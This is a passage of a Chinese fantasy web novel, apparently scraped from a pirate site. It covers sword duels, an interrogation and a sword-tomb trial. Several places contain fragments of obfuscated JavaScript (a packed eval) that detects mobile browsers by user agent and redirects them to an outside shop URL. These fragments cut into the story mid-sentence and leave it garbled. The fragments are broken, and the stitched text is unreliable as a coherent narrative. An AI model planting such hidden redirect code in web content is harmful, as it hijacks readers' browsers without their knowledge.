“咣当!”香炉镂空的挂耳被利刃硬生生地削去一截,但另一柄宝剑却已毫无阻碍的向着姚珍珍的左臂而来! “噗嗤”一声鲜血狂喷,却是姚珍珍一手反握着一支硬杆的毛笔,从一个黑衣人的肩胛骨上狠狠的穿刺了下去! 溅出的鲜血喷了她满脸,但这个女杀神连眼睛都没眨一下,反手就是一个又重又狠的手刀劈在黑衣人的后颈上,力度之大甚至能让人听见骨骼错位的声音。 连惨叫声都没能来得及发出,一个影侍便已完全丧失了战斗力,无声无息的软倒在地。 在他手中长剑脱手的瞬间,姚珍珍一抬脚尖,空中寒光一闪—— 令人牙关发酸的兵刃相交声中,两柄同样寒光闪烁的利刃一触即分,姚珍珍脸上绽放出一个兴奋而扭曲的笑容。 对,就该这样,她心想。 出剑,杀掉所有挡在你面前的人,斩开他们的身躯,让你的剑锋饱蘸敌人的新血。 之前那个不自量力的魔修连开胃菜都算不上,姚珍珍心中饥渴而血腥的杀欲随着刀剑相交翻涌出层层深黑的浪花。 太慢了。 ……太慢了,她几乎是有点遗憾地想道。 女子手中长剑在空中挽出利落的剑花,银光如疾风暴雨般扑向剩下的黑衣人。 皇室豢养的死士当然个个身手不俗,但人要如何在漫天暴雨中避开落在身上的雨滴? 一蓬蓬血雾几乎是同时盛放在这名影侍的四肢躯干上,不过一个眨眼的功夫,男子身上便多了六道深度可怖的剑痕,浑身黑衣都几乎浸泡在自己的血液中。 “呃!”他只来得及发出一声略带疑惑地痛呼,身不由己地踉跄着向后栽倒。 姚珍珍的虎口已经因为过度用力而撕裂,殷红血液顺着剑柄淌至剑尖,随着她的动作滴滴答答地在地板上撒下点点红梅。 但她对自己的伤势仿佛毫无察觉,只是微微压低了身体,摆出了一个起手式。 最后一剑。 剑锋未至,寒意却已掠过他的心口。 濒死之际,他终于看清了对面的剑招。 ——那是一道带血的流光,速度快得人眼几乎难以捕捉,他甚至能听到剑刃与空气摩擦的尖锐音爆声。 从他看见剑光到试图抬手阻挡,仿佛只是极其细微的一瞬间,但等他抬起手中长剑时,胸口处已经传来一阵空落落的钝痛。 “呼……”姚珍珍重重地喘息了一声,闭了闭眼,咬紧了牙关,仿佛用尽了全身的毅力,她将手中长剑硬生生地从眼前已经被刺成了血葫芦的影侍胸口拔了出来,“我……” 她心中纯黑的恶兽还在叫嚣着杀戮,直到长剑刺入敌人的胸膛,那无名而起的愤怒才得到些许抚慰。 也是直到最后一刻,姚珍珍才能控制住自己的手腕——她偏转了剑锋的方向,险险地避开了对方心口的致命之处。 “铛啷”一声,是姚珍珍将手中长剑扔到了一边。 这是她复生以来的第一次失控…… 眼前男子即使保下了半条命,浑身上下已被她疾风骤雨般的攻势刺成了个血葫芦,若无医者救治,离死亡只是一步之遥。 姚珍珍蹲下身,手伸向他脸上面罩。 她本意只是确认此人是否还有呼吸,可布料揭开的一瞬间,姚珍珍瞳孔重重一缩! 灵剑几乎是随心而动,下一秒—— 女子再次手持长剑,毫不犹豫的刺入倒地的男子心脏。 半晌,确认此人已死,姚珍珍抽出仍在滴血的剑,起身走向另一个昏迷的影侍。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914845|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他先这么开了口,其他几个少年便也纷纷点了头,算是应下了这个方案。 姚珍珍对此保持了沉默。 倒不是她对这个方案没有意见,而是—— 【“姐……前辈,左边那个秘境,”】白郁湄的声音极其笃定,【“阿哲就在那里面!”】 “那就这样决定吧,”最终,她开口说道,“还请殿下为我打开秘境的通路。” 仿佛是随意的一般,她径直地走向了左边的那个秘境入口。 燕鸣臻轻轻点头,手指拂过阵法某处花纹,入口顿时光芒大盛—— “对了,”在踏入秘境入口的前一秒,姚珍珍忽然停下脚步回过了头,“我没带趁手的兵器,你们谁借我一柄剑?” 在众人都未能反应过来的瞬间,她的目光落在众人身后的鹿慈身上,忽而一笑。 “鹿公子,我一见你便觉投缘。”众人眼前皆是一花,衣摆翻飞间女子已踏着鬼魅般的步伐走到身后,鹿慈脸上真挚的笑容甚至还来不及变化成错愕,便被她拎住衣领,用力向前一扔! 秘境入口处瞬间光芒大涨,将进入之人吞没了进去! 姚珍珍随即将手中“借”来的长剑一转,也跟着踏入了秘境中! “借你剑与人一用,”她最后回过头,脸上露出一个有些狡黠的笑容,“反正你参加武试试为了见姚珍珍对吧?我会赔给你一个见她的机会的。” “小朋友们,记得守好出口啊。” “嗡”地一声,青年冰白的手指勾过法阵的某处阵眼,秘境的左入口处光芒瞬间黯淡下来。 “这……!” “殿下!白姑娘这是……!” “……这可如何是好?” 燕鸣臻却压根懒得回话——姚珍珍一走,他连应付的脸色都吝啬留给他们。 十指拨转如弦,流转的层叠法阵几乎在他掌中翻转成了一个奇巧的玩物。 在踏入中间的那个秘境入口前,这位忽然变得冷酷至极的三殿下重要愿意回过头。 室内幽幽的灵光为他的美得惊人的脸颊镀上一层非人般的光泽。 这个仿佛月中妖精一般的三殿下懒洋洋地开了口,但却不是在对他们说话: “守着这里,任何人都不能进入,也不能离开。” 影子里走出来的死士忠诚地执行了他们的主人下达的命令,高大的身影沉默地挡住了所有的出入口。 “哦对了,”离开前的最后一秒,他仿佛想起了什么,“还有这些……哼。” 青年的目光凉凉地扫过这群已经被接连变故打得失去意气的仙门翘楚,颇觉乏味的挪开了目光。 “……偏偏她就偏爱你们,”他几乎是咬牙切齿地小声抱怨了一句,“在我出来前,确保他们活着。” 言罢,他转过身,踏入正中的那处秘境入口。 一阵幽光闪过,入口光芒随之黯淡。 剩下一群鹌鹑般的少年人,彼此沉默以对。 25. 求饶 浣金仙试,每三年举办一次,凡骨龄低于三十的修士皆可参与。 据说最开始的浣金仙试只是各仙门之间相互切磋的内部比试,但随着各届魁首们在南陆逐渐声名远扬,仙试的影响也逐渐扩大,参选的人员也从最开始的少数仙门弟子改为了符合年龄皆可参选。 第七届浣金仙试举办时为了照顾许多不善武艺的修士,特意加上了文试大比,姚珍珍与姚淼淼便是在那年第一次参加仙试。 之后便是举世皆惊的一门双魁首,剑宗一时风头无两,当年慕名而来的投诚者多到险些踏破鸣麓山的山门。 随着参选的人数越来越多,武试的规则也逐渐完善复杂起来,各仙门推选的仙试候选人可以免去与散修一同进行第一轮的武试海选,但武试第二轮的秘境择选每年都有不同,一般是让当年主持武试的主试裁断来设计,只是今年毕竟情况特殊。 今年的武试裁断是那位“姚珍珍”,一具傀儡要怎么设计武试的秘境呢……? 姚珍珍拎着强抢来的剑,一脚踏入了秘境之中,入目所见是一片荒凉的原野,灰白地面上插着无数形制大小不一的灵剑,在一片寂静中组成了一座荒芜的坟场——是剑冢。 “哇哦,”她发出了一声小小的感叹声,“早知道是这里,我就不用借剑了。” 环顾了四周一圈,姚珍珍看向一边被自己摔进来正跌倒在地的少年,对方也同时转过头看向她,脸上出现了一个错愕至极的表情。 “怎么了?”对方的神情实在异常,姚珍珍不由得有些疑惑——就算是被我突然抓进这个密室里,也不用露出这么一副活见鬼的表情吧? “你……你是……”鹿慈却依然是瞠目结舌,说不出一句完整的话来,一边将两手撑在身后,手脚并用地想要爬起来后退。 姚珍珍低下头,看见了自己的双手——不再是修长白皙的柔夷,而是一双布满薄茧的手,手指骨节凸起,手背上露出淡青色的血管。 “姐姐?”与此同时,身边响起了另外一个女子的声音。 不再是来自内府深处的虚弱呼唤,而是就在她的身后。 姚珍珍回过头,看见了白郁湄正蹙着眉,担忧的望着自己。 她在对方的瞳孔里看见了自己如今的模样——黑发黑瞳,身材瘦削。 那是她原本的样子,作为姚珍珍的样子。 “……师姐?”鹿慈终于酝酿出了足够的勇气,撑着身边一柄巨剑缓慢地起了身,表情也镇静了下来,“你怎么会在这里?!” “白姑娘,你把我拽进来是就是知道师姐也在吗?”他又转过头看向一边的白郁湄。 姚珍珍眉头一皱。 一体双魂的情况的确罕有,她没想到这个武试的秘境竟然会让她和白郁湄的神魂分离,还让她暂时恢复了本来的姿态。 看上去鹿慈并没有认出自己就是白郁湄,反而是认为自己早已在秘境中守株待兔…… “你还要装吗?”思忖片刻,姚珍珍还是不耐烦与他再做纠缠,语气冰冷地开了口,“我以为你会跪下来求我饶你一条命呢?” 鹿慈脸上疑惑的神情一下子僵住了。少年脸上常年挂着的天真之色如冰雪般转瞬便消融殆尽,取而代之的是一种近乎阴冷的憎恨之色。 “果真是你……你竟然真的没有死。”他咬着牙说话,语气中满含怨恨与不甘,动作却丝毫不停顿。 “砰”的一声,是他双膝着地,利索的跪了下来。 “师姐,是我错了,”少年躬下身体,额头碰着地面,抬起圆圆的杏眼看向姚珍珍,一边没脸没皮地笑了起来,“这样可以饶我一命吗?” 姚珍珍顿时感觉身上起了一身的鸡皮疙瘩——被恶心的。 “你怎么这样不知廉耻!”她还没来得及说点什么,一边的白郁湄却忍不住开口了。 “白姑娘……我们这种人,要什么礼义廉耻呢?”像是听见了什么荒谬的笑话,鹿慈忍不住笑出了声来,“只要能活下去,磕头认罪而已。” “师姐,说到底,我这些年也没做什么坏事。当日连杀山刺你一刀,你也早已加倍奉还了,”他脸颊依然贴着地面,语气中却有着几分讥讽,“师姐今日若是一定要取我性命泄愤,那我也无话可说。” “能死在师姐剑下,也算我鹿某的荣幸。”说完,他闭上了眼睛,摆出一副引颈就戮的姿态来。 “你竟然还曾出手伤了姐姐?”白郁湄听他说话,顿时柳眉倒竖,怒不可遏,提剑就要上前。 姚珍珍却忽然伸手拦住了这个一时激愤的姑娘。 “这里是武试的秘境,”她冷冷地说,“秘境里是不会死人的,鹿慈,何必费力表演。” “你这些年有没有作恶,你我说了都不算,”姚珍珍一手将长剑出鞘,雪亮剑锋压在少年雪白的后颈上,“我不爱用刑,但我有办法辨别真假。” “爬起来,跟我走。” *** 姚珍珍的确是不爱用刑的,但是作为从小一起长大的姐妹,姚淼淼却截然不同。 仍然是鲤乐馆内的密室,几案上琉璃灯盏内的灯油已经少了一多半。 瘫软在地上的犯人已经虚弱到说不出话来了,钉在他后心的魇声钉压制住了他体内的心蛊,让他无法向外界传递消息,而这个女魔头…… 他满含恐惧的看了一眼面前女子娇美的容颜。 “怎么?还有什么想说的吗?”姚淼淼勾起嘴唇,露出一个会让她那些不知情的追求者者感到晕眩的笑容,“啊,你的舌头断了。” 她语气如此轻松,好像断掉的不是一个人的舌头,而是一截蜡烛或者其他什么的似的。 “没关系,手指还没断,你可以写下来。”红衣的美人温柔而体贴地为犯人提供了代替的方案。 林羽觞默不作声的从一边的书案上拿过几张草纸,扔在了囚犯面前。 他没有拿笔墨,姚淼淼也并未出声提醒,只是依然笑意盈盈地看着地上瘫软匍匐的魔修。 “写啊,”她说,涂着鲜红豆蔻的十指绞缠在一起,“我可等着师兄的信呢。” 地上人影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们何时会对一个外人如此上心?我只要一查你们在船上的踪迹,便已有了怀疑,”她纤长的十指间夹着那枚刚从死人背上拔出来的魇声钉,一时叫人分不清是指甲鲜红还是钉上血色更红,“……登船的弟子我会分批送出城去。” “只是你,还有那个疯子,”她语气阴沉,“师姐如今状况不定,一旦此事暴露给魔修,尤其是应滕……你们有几条命够赔?” 林羽觞顿时抿紧了嘴唇,眉心紧锁。 “好好当你的看门狗,管好那个疯子,”姚淼淼厌烦地伸手挥了挥,“师姐那边,你们不必过问,我来处理。” “滚吧。”她最后下了逐客令。 “……” 林羽觞提着剑站在原地,一动不动。若是姚珍珍在这里,便会很容易的看出来他是在思考——这个总是心事比话语多的师弟一直这样,每次思考时都让人怀疑他是不是中了什么石化的术法。 在姚淼淼耐心耗尽的前一秒,他终于开了口。 “师姐让我帮她。”他说了一句,又停住了,好像在斟酌词句。 姚淼淼却猛地抬起了头。 她的表情与之前满脸戾气与不耐时完全不同,而是充满希冀的小心翼翼。 “师姐她……她要我们怎么帮?” “叮”一声轻响,是那枚价值连城的魇声钉从她指尖掉落,落在了青石铺就的地板上。 26. 明心 “师姐让我失手……”林羽觞慢慢地说道,“她说,要让别人相信她伤重未愈。” 姚淼淼漂亮的眉头高高地挑了起来,她瞪着眼睛看了再次陷入沉默的青年许久。 “没有了?”她语气间有十分的不满,盯着青年的眼中是十足的恨铁不成钢。 林羽觞摇了摇头。 “……失手简单,只是应滕多疑,怕是很难相信伤重之说,”姚淼淼忍不住一手撑着额头,靠在了座椅上,“让我想想……” “叮铃”一声,悬在书案边的一只铜铃忽然无风自动,发出清脆的铃响。 姚淼淼沉浸在思考中的表情忽然一变,她双指一抬,那落在地上的长钉便随心而动,划出一道红光落入她掌心中。 “我先出去,”她收拢手掌,将魇声钉收入储物灵宝内,站起了身来,“我们离开的时间太久了。” 一推开密室的石门,室外和煦的日光落在了美人窈窕的身影上,立时驱散了她身上令人不适的阴冷之色。 林羽觞并没有跟出去,他蹲下身,开始任劳任怨地处理起被遗留下来的尸身来。 姚淼淼随手扶正了稍有松散的发髻,姿态婀娜地走过一段回廊,又觉得有些不妥,伸手将梳理齐整的发髻松了些,从鬓边抽出一缕碎发挽在额边,做出个午睡刚醒的慵懒姿态。 “淼淼师姐!”一个穿月白短袄的弟子小跑着一路赶来,在她面前喘着气停了下来,眼睛亮亮地抬头看她,“师姐!有人揭了告示来馆里,说是知道陆公子的下落!” “唔——”姚淼淼适时地抬手捂着嘴打了个哈欠,眯了眯眼睛,“这么快……” 她懒洋洋的伸手搭在这年轻弟子的肩头,对他莞尔一笑:“那就走罢,我们去看看对方的虚实。” 一个绝世美人在面前露出如此情态,这个年轻的弟子脸色瞬间爆红,嗫嚅着低下头,不知该将眼神放到哪里。 但一低头,他的目光忽然凝住了。 眼前的师姐俨然一副海棠春醒的慵懒姿态,红衣猎猎更显肌肤雪白娇嫩,鬓边一缕乌发挽在耳后,露出一截玉般的脖颈……一切都美好得令人心醉,只除了她裙摆上那星星点点喷溅状的深褐色污渍。 他半是疑惑半是惊愕地抬头,身体已经本能的向后退想要挣开肩上柔夷…… “嘘……”姚淼淼在他头顶发出一声低低地笑声,如玉珠滚落,“别声张……” 她双眼紧紧盯着眼前的小弟子的眼睛,说话的声调抑扬顿挫宛如歌唱,音量却慢慢低了下去。 “……好孩子,睡一觉吧。”她最后的低语是贴着那弟子的耳朵唱出来的。 林羽觞伸手接住了这个小弟子向后软倒的身体。 怎么办?他用眼神示意对面神色仄仄地的女子。 “先关着,找时间送回鸣麓山,”她不耐烦的瞥了一眼两人,转过了身,“我去更衣。” “有人揭了告示,有那陆哲的下落了,”她毫不留恋地走远,抛下最后一句话,“去盯着巫尚,这件事师姐必须出面,别让他出岔子。” *** 秘境里没有时间流逝的概念,白郁湄领路,姚珍珍带着鹿慈,三人在这片荒原中一路前行了不知多久,直到抵达一处绝壁。 几柄断剑歪歪斜斜地插在绝壁边缘,组成了一道简陋的围栏,鹿慈一路都老实的沉默不语,直到此刻终于忍不住开了口。 他不敢惹杀神姚珍珍,于是转向一边看上去温柔可人的白郁湄: “白姑娘,此处已是死路,若要寻陆公子,我们可要去别处再找找?” 姚珍珍闻言,回头觑了他一眼,没说什么。 白郁湄却还在惦记着方才他言语中所谈及的“刺了师姐一刀”之事,听他还敢朝自己搭话,顿时心中火起,但碍于一边姚珍珍的脸色,最终只是面色冰冷的扭过头,径直走向绝壁边缘。 她探头向下张望,只能看见绝壁下方望不见底的深渊。 白郁湄的脸色苍白了几分,她后退了半步。 “姐姐,我感应到的就是这里……”她再次回头环顾四周,所见皆是林立的宝剑,没有任何多余的人或物。 姚珍珍此时也检查完了那几柄断剑,只是那些剑都已失了上半截剑柄,也看不见剑铭,不知是何人所遗留。 “不在上面,那就在下面了。”她回过头,目光落在站在两人不远处的鹿慈身上。 “剑冢中无法御剑飞行,飞行法器也皆不可用,师姐,你若是笃定那陆公子在这崖底,可要如何下去呢?”鹿慈被她的目光看得一缩,但很快又强自镇定的挺起了胸膛,“还是要把我扔下去探路?” 似乎是觉得面前这个女杀神真能干出这种事来,他几乎本能地抬头,面上露出楚楚可怜的神色来。 “虽说秘境中不会死亡,可若真的卷入阵法的狭缝中,神魂必然要受重创,便是不死也要痴呆的……师姐,你真要我下去么?” 他的眼中蒙上一层湿漉漉的水光,搭配上略带稚气的五官,看上去可怜极了。 这神态连一边的白郁湄都忍不住露出几分不忍,偏过头去不愿再看。 只有姚珍珍早已在身边两个大美人长期的美色轰炸下脱了敏,一般的国色已难以动摇她坚韧的神经了,更何况她对鹿慈这张脸实在是有阴影。 “收起你那一套,”她摇摇头,“我不会让你下去。” 姚珍珍目光越过他,看向剑冢中无数沉默着的灵剑。 “我和白姑娘下去,你要留在这里。”在两人惊愕的目光中,她随手提起身边原本属于鹿慈的那柄灵剑。 “呃!”少年发出一声惨呼! 与他命脉相连的灵剑毫不留情的洞穿了他的肩胛骨,巨大的力量将他一下贯穿,狠狠地钉在了地上! 姚珍珍收回手,笑了一声。 “还挺忠诚。”她说。 被她压制着迫叛主的灵剑还想要挣脱控制,剑柄尤自震颤不止。 姚珍珍却不会给它这个机会。 “灵鹿。”她开口,呼唤了一个名字。 几乎是话音落下的瞬间,荒原中亮起一道流光,一柄细剑震动着脱离了地面,灼灼灵光向着三人而来! 转瞬间灵剑便已逼至近前,“铛”地一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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剑冢中一片死寂般的沉默。 白郁湄的脸上显现出几分忧色。 “姐姐……”她还想说什么,姚珍珍脸上却露出欣喜的笑容来。 “巨阙不在……”她眉眼勾起,“那,你在吗?” “明心?” 地面微微震动,似乎某种回应。 姚珍珍忽然蹲下了身,一手按在了地面上。 她的目光低垂,语气变得格外温柔起来。 “……好了,不用出来,”她手指眷恋的抚过灰白的地面,“我就是有点想你啦。” 地面震颤愈发强烈,一边白郁湄甚至不得不弯腰扶住了身边一柄断剑。 姚珍珍的表情却淡了下来。 她站起了身,手指离开了地面。 “可我不能带你走了……”她喃喃自语,“不过我答应你……” 白郁湄没有听清她最后的承诺,但剑冢最终恢复了平静。 “最后一柄,唔,”姚珍珍有点犹豫的挠了挠脸颊,“取个好彩头吧……原师姐,借你的剑一用。” “……复生。” “嗡”地一声,剑阵既成。 27. 秘境 “师姐好大的手笔……”身在剑阵中,鹿慈浑身上下皆动弹不得,只好费力的扭过头颅,“对付我这样一个小角色,竟然也值得如此大费周章么?” “明心……我听说师姐的本命剑是褚河大师的遗作,想来若是当日连杀山师姐有此剑傍身,我也就不用被锁在这里了,”耳边被剑风撩过的伤口还在汩汩的淌着血,肩胛处的纵贯的伤口更是骇人,鹿慈却仿佛忽然没了痛觉一般,断断续续地开始不停的说话,“可惜啊……” 遗作…… 姚珍珍眉梢轻轻一抬。 ……她的本命剑的确是褚河亲手打制,剑成不久后便被她亲手送进了剑冢封印中,为此她还被那个老头写信劈头盖脸的骂了一顿。 但是在她进入连杀山之前,姚珍珍从未听到任何关于褚河死讯的消息。 ——他是在最近七年去世的?寿终正寝还是遭人毒手? 姚珍珍心里默默将此事记下,预备着离开后再去找人问个清楚。 那边鹿慈没有等到她的回答,忽然吃吃地笑了起来。 “师姐,”他皱了皱眉头,脸颊因为失血而愈发苍白起来,“我发现你从连杀山回来后就……呃!” 他后边的话没能说完,因为一边的白郁湄实在是忍无可忍,走上去一脚踢在了他的右肩上,这一下扯动伤口,少年的五官都因为疼痛皱作一团,看上去不再有信口开河的余裕了。 姚珍珍也懒得再去理会他之后的话语,,只是向着白郁湄做了个跟上的手势,转身便走向崖边。 崖底依然是深不见底的黑暗,姚珍珍忽然伸手抓住了白郁湄的手腕。 “如果害怕就闭上眼睛,”她从身后的地面上拔出一柄倒插的断剑,随手拂去剑柄上的尘土,“绝尘……” 白郁湄看见这位大师姐的嘴角轻微的勾起了一下,那是一个有点复杂的神色,但她还没来得及更多思索,下一秒,手腕被人一拽,身体顿时失重—— 呼啸风声从耳边吹过,白郁湄下意识的闭上了眼睛,伸手向前紧紧抱住了姚珍珍的腰。 姚珍珍却姿态很放松,甚至很有闲心的张开那只空闲着的手,感受着急速下坠中气流划过掌心的感觉。 两人的衣摆与发丝随风纠缠在一起,服饰相似,头顶上皆簪着一支白梅花钗,远远看上去倒是有点像一对孪生的姐妹。 她们就这样从崖顶坠落,向着无边黑暗而去。 向下落的时间仿佛很短,白郁湄闭着眼睛,感觉似乎只是短短的一瞬间。 “找到了。”姚珍珍忽然开口。 绝尘残损的剑锋与崖壁刮擦出令人牙酸的响动,火花迸溅间,白郁湄紧闭的双眼忍不住睁开了一线。 “!!” “松手。”女子沉稳的声音响起在头顶,她几乎是下意识地听从命令,松开了紧紧抱着姚珍珍腰部的双手。 一股柔和而不容置疑地力度让她身不由己的向前扑去,直到双脚触到坚实的地面,白郁湄向前踉跄了好几步,终于稳住了身体,她第一时间回头望过去。 身形瘦削的女子正单手攀着地面,一个用力翻了上来,站在岩洞的边缘,拍打着身上沾的尘土。 “我没事,没吓到吧?”她注意到了白郁湄关切的视线,眉眼弯起,先问了一句。 “姐姐……,”白郁湄嘴唇轻轻颤动了一下,“为何要先把我送进来?若是你不慎跌落下去……” “……嗯?”姚珍珍听完一愣,心想这是什么废话,不把你扔进来难道要我看着你摔下去吗,秘境里是摔不死,但是鹿慈说得没错,掉进夹缝里就等着变成个傻子吧…… 看见姚珍珍的表情,白郁湄细长的柳眉蹙了起来。 “罢了,”她咬了一下嘴唇,低下了头,额边吹散的发丝滑下,遮住了脸颊边一道被碎石刮出的血口,“是我过虑了。” 女子伸手挽起那一缕碎发,偏过了头,望向身后一片昏暗的道路。 “姐姐,我感觉得到,阿哲在里面,非常近。”她再抬头,神色已恢复常态,又是那个焦心又无助的白郁湄了。 姚珍珍点点头,一翻手腕,掌心中燃起一团灵火。 幽蓝火光中,女子漆黑的眸子中映出两点冰冷的寒芒。 “走吧,让我们看看是何方神圣,敢在剑宗的眼皮底下劫人。”她说。 *** 另一处秘境中。 燕鸣臻方一踏入此处,一声凄厉的咆哮声便在头顶响起。 他抬起眼,面无表情地与对着自己张开血盆巨口的猛兽对视片刻。 这外表生得极其伤眼的巨兽显然不是现世应该存在的生物,硕大的头颅上长了四只大小不一的眼睛,本该是耳朵的地方却覆盖着墨绿的羽翎,张开的巨口中伸出的是一条粗壮的肉舌——尾端竟然还是分叉的,正向下滴滴答答地淌着腥臭的涎液。 青年只看了一眼便忍不住皱起了眉头。 “……弄得乱七八糟的。”他的语气里带着显而易见的嫌弃,连带着眉眼也垂了下来。 那个精巧得仿佛玩具的微型法阵还悬浮在他的右手掌心之上,燕鸣臻低下头,完全忽视了头顶怪物虎视眈眈的威胁,白皙的手指在层叠的法阵上轻轻一扭—— 顷刻间简直是天地倒转,那支起上半身正打算享用美餐的怪物腹部下,坚实的地面忽然凭空消失! 它还未能反应过来,猝不及防地便向下摔落,怪物的四只眼睛中流露出显而易见的茫然,凹凸不平的脊背上一对不知是进化未完全还是退化不完全的肉翅本能而茫然地拍打着,试图阻止身体的下落。 ……只是一切都是徒劳。 青年脚底的地面也消失了,但有薄薄的灵光在他的靴底亮起,仿佛一道看不见的“屏障”出现在了原本地面的位置。 他再次将手指按在了微型法阵的侧面,向着相反方向随意扭动了一下,层叠交错的法阵随之发出一阵“嗡嗡”的细微声响。 一声比方才凄厉百倍的惨叫从脚下传来,伴随着血肉骨骼被挤碎拧压时发出的古怪声音。 燕鸣臻低头,看见了脚下已经被空间扭曲挤压成了一团烂肉的怪物。 那团尤且在轻微颤动肉块“砰!”的一声落到了底,摔成了一块更加松散的死肉。 “嗡——”燕鸣臻手中法阵随即开始自动复位,他收回视线,伸手理了理衣冠发饰,调转步伐,向着某个方向缓步而去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978415|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >*** “砰!” 姚珍珍正带着白郁湄在这个岩壁上的石洞内前行,忽然听见了头顶远远地传来了一声古怪的沉闷响声。 这声音……听起来有点像谁把一块肉摔在了案板上? 姚珍珍的心头不合时宜地冒出一个古怪的想法,很快被她自己给否认了。 她们已经在这个洞穴中走了一小段时间,洞内虽然只有一条通路,但走了这么一路过来,除了沿路形状各异的石块,她们并未碰见任何生物。 白郁湄或许是在进来的过程中受了惊吓,一路过来也异常沉默,连脚步声都轻了不少,为防意外,姚珍珍让她握住了自己的衣袖以防走散。 此时,衣袖上的拉力忽然加重了一些。 是白郁湄用力拽了拽她。 “姐姐,”女子的声音在这幽深的岩洞中响起,“你听见了吗?” 姚珍珍回头看了她一眼,或许是因为手中灵火光芒映衬的原因,她的脸色比之前苍白许多,连唇上一点血色也完全消失了,更显得眼睛黑而大。 若是在外面,一个这样弱柳扶风的美人面露怯色的望着自己,姚珍珍定然要生出十分的怜惜。只是如今二人在这秘境岩洞中,四下昏暗,这张毫无血色的面孔便生出十分的诡异来。 姚珍珍的心头一突,被她的模样吓了一跳,迟钝了一下才回答。 “听见了。”她心想,大概是崖顶上鹿慈在搞鬼。 不对,囚锁剑阵还在,他应该没这个能力挣脱,那就是鸣臻? 她眼中露出几分不易察觉的喜色。 白郁湄的眼中却同步的浮现出欣喜的神色。 她忽然上前,一把抓住了姚珍珍的手腕。 姚珍珍浑身激灵了一下——握在她手腕上的那简直不像是人类的双手,冰冷而僵硬,简直像是石头一样。 “姐姐,你也听见了是不是!”白郁湄却好像完全没有察觉到自己身体的异常,目光中满含喜悦与期盼,“阿娘在喊我们呢!” “……”姚珍珍一愣,神色慢慢冷却了下来。 *** “我是昨夜路过定流坡,本想着远远的瞻仰一下当日师姐除恶蛟的遗址,谁曾想竟看见几个黑衣之人扛着一个年轻男子径直往那里面走!”说话的是个蓄着薄须的青年男子,穿着一身深蓝的长衫,衣摆上绣着团花的阵纹——显然是件法袍。 只是那些银线织绣的阵纹不少已经散落,显然它的主人并无多余财力去维护修补这件高阶的法袍。 姚淼淼的目光兴致缺缺的落在男子衣摆那块缺失的花纹上,在神游中不自觉地将它一点点填补完整。 那边男子还在滔滔不绝地讲述。 “我当时就想起大师姐发的那纸寻人招贴来,再仔细一看,那被绑着的果然就是陆公子!”他扬起手里一张柔韧的纸张,上面拓印着陆哲入关时记录的图像。 姚淼淼手指揉了揉太阳穴。 “定流坡……”她摆了摆手,刚想说些什么。 门外忽然传来一阵喧闹声,伴随着止不住的惊叹与吸气。 “师姐?” “是大师姐!” “大师姐来了!” 28. 金冠 姚淼淼原本逐渐倦怠的神色顿时清明许多,她几乎是立刻站起了身,向着厅门口望过去。 门外守候的剑宗弟子自觉的让出了位置,目露期盼地望着正缓步走来少女。 厅堂内,刚才还在喋喋不休的青年男子也听见了身后的动静,他的眼睛一下瞪大,也随着众人的动作向后转过头。 “师姐!”姚淼淼的动作极快,几乎眨眼间便掠过几人走到了“姚珍珍”的身前,挡住了身后人张望的眼神,“方才有人揭了告示,说在定流坡一带发现了魔修的踪迹,还见到了他们带着陆哲。” 她低着头与“姚珍珍”说话,目光却越过眼前人的肩头,与站在她身后的青年对上。 林羽觞的嘴唇轻微开合了几下,姚淼淼从口型中读出了他的话语。 “我已做完清扫。”他无声的说。 姚淼淼的神态一下放松了许多——自进入昭华城以来,她已秘密处理了不少潜入进来的魔修,只是傀儡之事需要绝对保密,剑宗上下知晓此事者寥寥,一切都需要她亲力亲为,不免分身乏术。 林羽觞到达昭华后她才算能稍微松口气——对方这句话的意思就是门外这些围观弟子已经经过排查,能确保见到“姚珍珍”的人里没有被应滕控制之人。 “辛苦你了,”看上去巫尚在出门前确实有按照医嘱服药,此刻看起来状态竟然颇为正常,“她”向着姚淼淼微微点头,“定流坡……我记得,此次武试的秘境便设在那里。” “是的,师姐,我这便打点人手过去。” 姚淼淼转过身,对着身后还在探头探脑试图窥看的青年男人嫣然一笑。 “这位侠士,我们即刻便去往定流坡一探究竟,还请侠士在鲤乐馆歇息片刻,”她向一边招了招手,召来一个梳着堕马髻的女修,“云瑶,还请你来替我招待这位侠士。” 云瑶本来是在一边看热闹,突然被点了名,只好起了身。 “是,”身穿百褶月裙的女修无奈地起身盈盈一拜,抬头时不着痕迹地瞟了“姚珍珍”的方向一眼,“这位……还请随我来吧,鲤乐馆内有为客人准备的栖室。” “侠士还请先往等待,之后若确认消息属实,剑宗定有重谢。”眼见这人还颇有不舍之色,巫尚也适时开口,以姚珍珍的身份做出了许诺。 大师姐开口,其他人也不再有意见,围观的小弟子被各自的师兄师姐驱散,云瑶也摆出一个邀请的手势。 眼看着“姚珍珍”就要转身离开,那跟在云瑶身后的男子看着被挡在众人身后的少女背影,忽然开了口。 